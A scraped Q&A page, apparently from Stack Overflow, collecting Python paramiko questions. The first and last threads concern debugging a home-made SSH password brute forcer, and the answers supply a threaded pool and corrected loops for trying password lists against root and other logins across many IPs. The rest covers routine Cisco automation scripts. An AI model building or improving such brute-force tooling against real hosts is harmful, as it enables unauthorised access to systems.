Multithreading my simple SSH Brute forcer - python

I've coded a simple SSH Bruteforcer , and I am trying to make it multi-threaded as it is running very slowly at the moment. As you can see in the last few lines I have given it an attempt, but don't understand threading fully. I have read a few examples but I don't quite understand it fully, so I felt adding into my program will make me understand it better.
Code:
try:
import paramiko
except ImportError:
print("Paramiko module not installed, exiting.")
from multiprocessing.dummy import Pool, Process, JoinableQueue as Queue
import os
from datetime import datetime
startTime = datetime.now()
UserName2 = 'root'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
IPLines = 0
PasswordLines = 0
with open('pass.txt') as txt1:
for line in txt1:
if line.strip():
PasswordLines += 1
with open('ip.txt') as txt2:
for line2 in txt2:
if line2.strip():
IPLines += 1
current_attempts = 0
max_attempts = PasswordLines * IPLines
def print_results(found):
while True:
ip, password = found.get()
print("Found: %r %r" % (ip, password))
found.task_done()
def init(found_):
global found
found = found_
def generate_passwords():
#return (line.strip() for line in open(pass_file))
global ip
global pwd
global txt4
txt3 = open(pass_file, "r")
txt4 = open(ip_file, "r")
for line3 in txt3.readlines():
pwd = line3.strip()
for line4 in txt4.readlines():
ip = line4.strip()
def check(ip_password):
global current_attempts
ip, password = ip_password
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ip, port, username=UserName2, password=pwd)
except paramiko.AuthenticationException, e:
print e
print '[-] %s:%s fail!' % (UserName2, pwd)
current_attempts += 1
except Exception, e:
print e
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName2, pwd, ip)
username, password, ipaddress = UserName2, pwd, ip
found.put((username,password,ipaddress))
seconds_taken = datetime.now() - startTime
print 'brute forcing took %s seconds' % seconds_taken
ssh.close()
print 'Found login in %s attempts' % current_attempts
if os.path.isfile("correct.txt"):
c = open("correct.txt", "a")
c.write('\n' + ip + ':' + UserName2 + ':' + pwd)
elif os.path.isfile("correct.txt"):
c = open('correct.txt', "w")
c.write(ip + ':' + UserName2 + ':' + pwd)
def main():
found = Queue()
t = Process(target=check, args=[found])
t.daemon = True # do not survive the parent
t.start()
pool = Pool(processes=20, initializer=init, initargs=[found])
args = ((ip, password) for password in generate_passwords() for ip in txt4)
for _ in pool.imap_unordered(check, args):
pass
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
found.join() # wait until all results are printed
if __name__ == "__main__":
main()
Errors:
Exception in thread Thread-1:
Traceback (most recent call last):
File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
self.run()
File "C:\Python27\lib\threading.py", line 763, in run
self.__target(*self.__args, **self.__kwargs)
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 65, in check
ip, password = ip_password
TypeError: iteration over non-sequence
Traceback (most recent call last):
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 107, in <module>
main()
File "C:\Python33\Stuff I made\SSH_Bruter4.py", line 99, in main
args = ((ip, password) for password in generate_passwords() for ip in txt4)
TypeError: 'NoneType' object is not iterable

The problem is embarrassingly parallel. You can run concurrently the ssh connection attempts both for different ips and passwords:
#!/usr/bin/env python
# remove .dummy to use processes instead of threads
from multiprocessing.dummy import Pool
def check(params):
ip, username, password = params
# emulate ssh login attempt #XXX put your ssh connect code here
import random
successful = random.random() < .0001
return successful, params
def main():
creds = {}
ips = ["168.1.2.%d" % i for i in range(256)] #XXX dummy ip list, use yours
usernames = ["nobody", "root"] #XXX dummy user list, use yours
def generate_args():
for ip in ips:
for username in usernames:
for password in generate_passwords():
if (ip, username) in creds:
break
yield ip, username, password
pool = Pool(processes=20)
for success, params in pool.imap_unordered(check, generate_args()):
if not success:
continue
print("Found: %r" % (params,))
ip, username, password = params
creds[ip, username] = password
pool.close() # no more tasks
pool.join() # wait for all tasks in the pool to complete
if __name__=="__main__":
main()
where ips is a list if all ips you want to try and generate_passwords() is a generator that yields one password at a time, here's an example:
def generate_passwords(pass_file):
return (line.strip() for line in open(pass_file))
About errors
ValueError: too many values to unpack
your code has found.put((username,password,ipaddress)) (a tuple with 3 values) but print_results() function expects ip, password = found.get() (2 values). The error "too many values to unpack" is because 3 is larger than 2.
'NoneType' object is not iterable
attempt() function returns nothing (None) but you put it in the place for generate_passwords() that must generate passwords (see the example implementation above).

Related

Function and arguments Issue | Unable to send command and connect to network device using python script?

Unable to produce from the device, made a separate function in running a simple method wherein I have a list of devices and command.
But from this script, seems like I can't send the command to the device? I'm not sure whether script can connect successfully. So I put a print on connect to device part just to determine the location.
From the output of the print is
Connected 0 <-from beg_rm
THIS IS THE COMMAND show ip int brief <-send_cmd
Would like to ask if my method is correct in connect and sending command using this function and argument?
#!/usr/bin/python2
#Required Modules
import sys
sys.path.append("/home/lab/Desktop/pexpect-2.3")
import sys, pexpect, re, getpass, threading, subprocess, os, time
#from queue import Queue
os.system("clear")
### TEST THE IP ADDRESS IF REACHABLE
def ping_ip(ip):
#global gips
rstlongstr = ''
(output,error) = subprocess.Popen((['ping', ip, '-c', '2']), stdin=subprocess.PIPE, stdout=subprocess.PIPE).communicate()
if b'bytes from' in output:
#rstlongstr = rstlongstr + ip
#print rstlongstr
return "Reachable" + ip
elif b'Host Unreachable' in output:
return "Down"
else:
return "UNKNOWN"
### SEND COMMAND TO DEVICE
def send_cmd(child,com):
print "THIS IS THE COMMAND", com
child.sendline(com)
child.expect("#")
print(child.before)
return result
### CONNECT TO DEVICE
def beg_rm(ip,uname,ppass,enpass):
print "Begin remote connection",ip
print "\nCRED",uname,ppass,enpass
child = pexpect.spawn('ssh %s#%s' % (uname, ip))
i = child.expect(['[P|p]assword: ','[U|u]sername: ','continue connecting (yes/no)?','#'],timeout=5)
if i == 0:
child.sendline(ppass)
child.expect('>')
child.sendline('enable')
child.expect('Password: ')
child.sendline(enpass)
print "Connected 0"
return i
elif i == 1:
child.sendline(uname)
child.expect('Password: ')
child.sendline(ppass)
child.expect('>')
child.sendline(enpass)
print "Connected 1"
return i
elif i == 2:
child.sendline('yes')
i = child.expect([pexpect.TIMEOUT, '[P|p]assword: '])
if i == 0:
print "Error connecting ",ip
return
child.sendline(ppass)
child.expect('>')
child.sendline('enable')
child.expect('Password: ')
child.sendline(enpass)
print "Connected 2"
return i
elif i == 3:
pass
def main():
print('-'*50)
while True:
print('------------------------- ue Network Tools -------------------------------')
print('--- *********************************************************************** ---')
print('-'*80)
print'[1] Troubleshoot'
print'[2] Custom Tshoot'
print'[3] Wireless LAN'
print'[4] Confinder'
print'[q] exit\n'
#Select Function
input_select = raw_input('Please select a function: ')
input_select = str(input_select)
if input_select == 'q' or input_select == 'Q':
sys.exit()
elif input_select == '1':
#Read the txt file
devtxt = open('devices.txt')
devlist = devtxt.read().splitlines()
print devlist
cmdtxt = open('command.txt')
cmdlist = cmdtxt.read().splitlines()
print cmdlist
#tuname = raw_input("TACACS Username: ")
#tpass=getpass.getpass("TACACS Password: ")
#epass=getpass.getpass("Enable Password: ")
tuname = "test"
tpass = "test"
epass = "enter"
#LIST
gips = []
threadslist = []
#Verify Reachability
for ips in devlist:
print "Processing the list to function", ips
response = ping_ip(ips)
result = ('%s \n' % (response))
print result
if re.findall(r'(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})',str(response)):
forgips = re.findall(r'(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})',str(response))
strgips = ''.join(forgips)
#print "FORGIPS 2",strgips
gips.append(strgips)
pass
else:
pass
print "\nList of reachable devices to be sent for threading:\n", gips
## LOOP REACHABLE DEVICE AND COMMAND
for x in gips:
child = beg_rm(x,tuname,tpass,epass)
for y in cmdlist:
send_cmd(child,y)
if __name__ == '__main__':
main()
Trace back
Traceback (most recent call last):
File "2jb.py", line 142, in <module>
main()
File "2jb.py", line 139, in main
send_cmd(child,y)
File "2jb.py", line 31, in send_cmd
child.sendline(com)
AttributeError: 'int' object has no attribute 'sendline'
child = beg_rm(x,tuname,tpass,epass)
for y in cmdlist:
send_cmd(child,y)
def send_cmd(child,com):
print "THIS IS THE COMMAND", com
child.sendline(com)
...
beg_rm() returns an integer, which is then passed as the child argument to send_cmd().
It seems like you're expecting beg_rm() to return the child object, instead of an integer?

Not able to ignore socket.timeout error using Paramiko

I am trying to SSH into a bunch of routers and grep some info from each. Some of the router IPs might not be valid as they are got from the loop. For the ones that do not exist, i am getting a socket.timeout error (obviously) and the script exits execution at that point. I want python to ignore this error and continue with the rest of the iterations. I have included the except/pass/continue commands, but they somehow do not seem to be doing their job and i am still getting the socket.timeout error and exiting the script :
import paramiko
import socket
import subprocess
import time
site = ['sao2','mia2','par2','scs2','sin4','sjl1','syd3','tok2','tor1','wdc1','akl1','chc1','chi2','cop2','dal1','fra2']
csr_hostname = 'csr_1'
csr_pass = str('*******')
username = str('test_user')
csrcmd = 'sh ver \n'
f = open ("version_output.txt", 'r+')
#*********************************************************************
for DC in site :
y = str(DC)
mcp = socket.gethostbyname(y)
mcpip = mcp.split('.')
mcpip2 = int(mcpip[0])
mcpip3 = int(mcpip[1])
mcpip4 = int(mcpip[2])
print (DC + ":")
f.write('\n')
f.write(DC)
f.write('\n=====\n')
for i in range(5,33):
x=37+(2*i)
mcpcsr = (str(mcpip2) + ('.') + str(mcpip3)+ ('.') + str(mcpip4)+ ('.') + str(x))
fqdn1=(str(i)+'-01.'+str(DC))
print i
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(mcpcsr, username=username, password=csr_pass, look_for_keys = False, allow_agent = False, timeout=10)
router_channel = ssh.invoke_shell()
router_channel.settimeout(2)
try :
buff = ''
router_channel.send(csrcmd)
time.sleep(1)
buff = router_channel.recv(99999)
for item in buff.split("\n"):
if "Cisco IOS XE Software, Version" in item :
csrver = (fqdn1 + " : " + item.strip())
if "Cisco IOS Software" in item :
csrver1 = (item.strip())
print csrver
print csrver1
f.write(csrver)
f.write('\n')
f.write(csrver1)
f.write('\n')
fqdn1 = ''
ssh.close()
#*********************************************************************
except socket.timeout:
print ("bla bla")
pass
continue
except socket.error :
print ("bla bla")
pass
continue
except paramiko.SSHException, socket.error :
print ("bla bla")
pass
continue
except Exception :
print ("bla bla")
pass
continue
#*********************************************************************
Output :
Traceback (most recent call last):
File "csrnum.py", line 36, in ?
ssh.connect(mcpcsr, username=username, password=csr_pass, look_for_keys = False, allow_agent = False, timeout=10)
File "/usr/lib/python2.4/site-packages/paramiko/client.py", line 291, in connect
sock.connect(addr)
File "<string>", line 1, in connect
socket.timeout: timed out
Any insight into this will be much appreciated and grateful for!
Figured it out! The exceptions were set one indent more than the one where the ssh connections were attempted. Made a small change to the code to accomodate this and the exceptions are working as expected!

python multissh pool on windows

Trying to get a process pool to work on windows but after asking me the password it again asks me the password.
import os
import sys
import paramiko
import getpass
import socket
from multiprocessing import Pool
def processFunc(hostname):
handle = paramiko.SSHClient()
handle.set_missing_host_key_policy(paramiko.AutoAddPolicy())
handle.connect(hostname, username=user, password=pw)
print("child")
stdin, stdout, stderr = handle.exec_command("show clock")
cmdOutput = ""
while True:
try:
cmdOutput += stdout.next()
except StopIteration:
break
print("Got output from host %s:%s" % (hostname, cmdOutput))
handle.close()
user = "sup"
f= open('csip.txt','r')
hostnames = []
for line in f:
hostname = line.strip()
hostnames.append(hostname)
pw = getpass.getpass("Enter ssh password:")
if __name__ == "__main__":
pool = Pool(processes=4)
pool.map(processFunc, hostnames, 1)
pool.close()
pool.join()
Am i doing something wrong? The script should read hostnames from the txt file get the password and then invoke the process pool.
The below works -
But i want help to improve it. dont want to hardcode the username and password.
import os
import sys
import paramiko
from multiprocessing import Pool
#Globals
Hostnames = []
f= open('csip.txt','r')
for line in f:
hname = line.strip()
Hostnames.append(hname)
def processFunc(Hostname):
handle = paramiko.SSHClient()
handle.set_missing_host_key_policy(paramiko.AutoAddPolicy())
handle.connect(Hostname, username="sup", password="123")
print("child")
stdin, stdout, stderr = handle.exec_command("show platform | i unknown")
cmdOutput = ""
while True:
try:
cmdOutput += stdout.next()
except StopIteration:
break
print("Got output from host %s:%s" % (Hostname, cmdOutput))
handle.close()
if __name__ == "__main__":
pool = Pool(processes=9)
pool.map(processFunc, Hostnames, 1)
pool.close()
pool.join()

Python2.7.11: TypeError: expected string or buffer = re.findall

I have been working on this script for locating workstation's switchport on Cisco switches. I have been stuck on this for hours and have looked everywhere for some help. I know that when a regex 'expects a string' error that usually I am calling on a list. But for the life of me, I cannot find where I did that. Any help would be greatly appreciated. Thanks.
Code in question:
def check_ping(data = None):
ping_result = re.findall(r'!!!!!', data)
return ping_result
Error
Traceback (most recent call last):
File "IPtracetest.py", line 97, in <module>
ping_results = check_ping(data)
File "IPtracetest.py", line 25, in check_ping
ping_results = re.findall( r'!!!!!', data )
File "C:\Python27\lib\re.py", line 181, in findall
return _compile(pattern, flags).findall(string)
TypeError: expected string or buffer
P:\Python\Scripts>
Entire script if more context is needed
# get the user credentials
def get_credentials():
username = raw_input('Enter your secondary LANID: ')
password = getpass.getpass('Enter password for user %s: ' % username)
return username, password
def get_ip():
return raw_input('\nEnter IP address of device you which to trace: ')
def get_ping():
ping = "ping " + ip
return ping
def check_ping(data = None):
ping_result = re.findall(r'!!!!!', data)
return ping_result
def get_ping_results(ping_results, ip ):
if ping_results is '!!!!!' :
trace = 'PING OK. Device is accessible'
else:
trace = 'Device is currently off the network!'
return trace
def get_gateways(data):
gateways = re.findall(r'[0-9]+(?:\.[0-9]+){3}', data )
return gateways
def get_gateway(gateway_results):
gateway = gateway_results[-2]
return gateway
def get_mac(data):
mac = re.findall(r'[0-9a-f]+(?:\.[0-9a-f]+){2}', data )
mac = mac[-1]
return mac
def get_access_switch(data):
pattern = r'cs\d+\-\d+\w'
access_switch = re.findall(pattern, data)
return access_switch[0] #--- could return the index value, that should give you a string to pass off to the host
#def get_end_switch(data):
# print data
# pattern = r'cs\d+\-\d+\w*'
# end_switch = re.findall(pattern, data)
# return end_switch
def get_end_switch(data):
#print data
#pattern = r'cs\d+\-\d+\w*'
end_switch = re.findall(r'[c][s][0-9][0-9][0-9][?:\-][\w][\w]', data)
return end_switch[-2]
def get_port(data):
pattern = r'[GF][ai]\d[\d|\/]*'
port = re.findall(pattern, data)
return port[0]
def connect_to_device(username, password, host, command):
try:
print '.... connecting'
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=username, password=password)
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
chan = ssh.invoke_shell()
chan.send(command + ('\r'))
time.sleep(.5)
data = chan.recv(9999)
return data
except:
print "\n\n **** Unable to connect. Check password, device may be down, or IP not in ARP table ****\n\n"
# ______________________________________MAIN______________________________________#
if __name__ == "__main__":
data = 0
#print '\nEnter an IP address at a location and you will get the end point switch and port: \n'
username, password = get_credentials()
ip = get_ip()
ping = get_ping()
data = connect_to_device(username, password, 'mls319-2c', ping)
ping_results = check_ping(data)
trace = get_ping_results(ping_results, ip)
if trace is 'PING OK. Device is accessible':
data = connect_to_device(username, password, 'mls319-2c', 'traceroute ' + ip)
gateway_results = get_gateways(data)
gateway = get_gateway(gateway_results)
data = connect_to_device(username, password, gateway, 'sh ip arp | i ' + ip)
mac = get_mac(data)
data = connect_to_device(username, password, gateway, 'sh cdp nei' )
access_switch = get_access_switch(data)
#end_host, end_port = trace_mac(username, password, access_switch, mac)
data = connect_to_device(username, password, access_switch, 'trace mac ' + mac + ' ' + mac)
end_switch = get_end_switch(data)
port = get_port(data)
print '\nRouter IP is ', gateway
print '\nMAC address is ', mac
print '\nThe end switch is ', end_switch
print '\nThe port is ', port
Input to re.findall must be string:
>>> import re
>>> re.findall("\w+", None)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "C:\Python27\lib\re.py", line 181, in findall
return _compile(pattern, flags).findall(string)
TypeError: expected string or buffer
May be you can try this:
def check_ping(data = None):
if data:
ping_result = re.findall(r'!!!!!', data)
return ping_result
May be data parameter here might be None, can you handle that case ?
def check_ping(data = None):
if data is None:
return
ping_result = re.findall(r'!!!!!', data)
return ping_result
re.findall expects a string as input so you can use an empty string as the default value.
def check_ping(data=""):
ping_result = re.findall(r'!!!!!', data)
return ping_result
This will remove the error. Also, have in mind that re.findall will return a list of strings, even if no matches are found, you'll get an empty list.

While loop using text file, only uses last line - Python 2.x

I've been coding a small SSH brute forcer, to understand the paramiko module. However while going through the text file to see each password it is only testing out the last password in the text file. Am I using the correct loop? How would I use the for loop in this situation then?
import paramiko
UserName = 'msfadmin'
pass_file = 'pass.txt'
ip_file = 'ip.txt'
port = 22
Found = 0
pwd = open(pass_file, "r")
ips = open(ip_file, "r")
def attempt():
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
while Found != 5:
global UserName
global port
try:
ssh.connect(ip, port, username=UserName, password=Passwords)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, Passwords)
else:
print '[!] %s:%s is CORRECT!' % (UserName, Passwords)
for line in ips.readlines():
ip = line.strip()
for line2 in pwd.readlines():
Passwords = line2.strip()
You are getting each and every line and replace the previous value in ip and passwords with the currently read value. Instead, if the number of ips and passwords are relatively smaller, you can do
count = 0
for ip in ips:
for pwd in open(pass_file, "r"):
try:
ssh.connect(ip, port, username=UserName, password=pwd)
except paramiko.AuthenticationException:
print '[-] %s:%s fail!' % (UserName, pwd)
else:
print '[!] %s:%s is CORRECT for IP %s!' % (UserName, pwd, ip)
count += 1
if count == 5:
return
Your two for loops simply iterate through each object and update the ip and Password variables each time, so that when they have finished the variables refer to the last values from the loop.
However it's not at all clear what you are trying to do with those variables, so I can't tell you how to fix it. Did you want to run the rest of the script once for each iteration? Or did you want to create a list of all the elements, then iterate through that?

Categories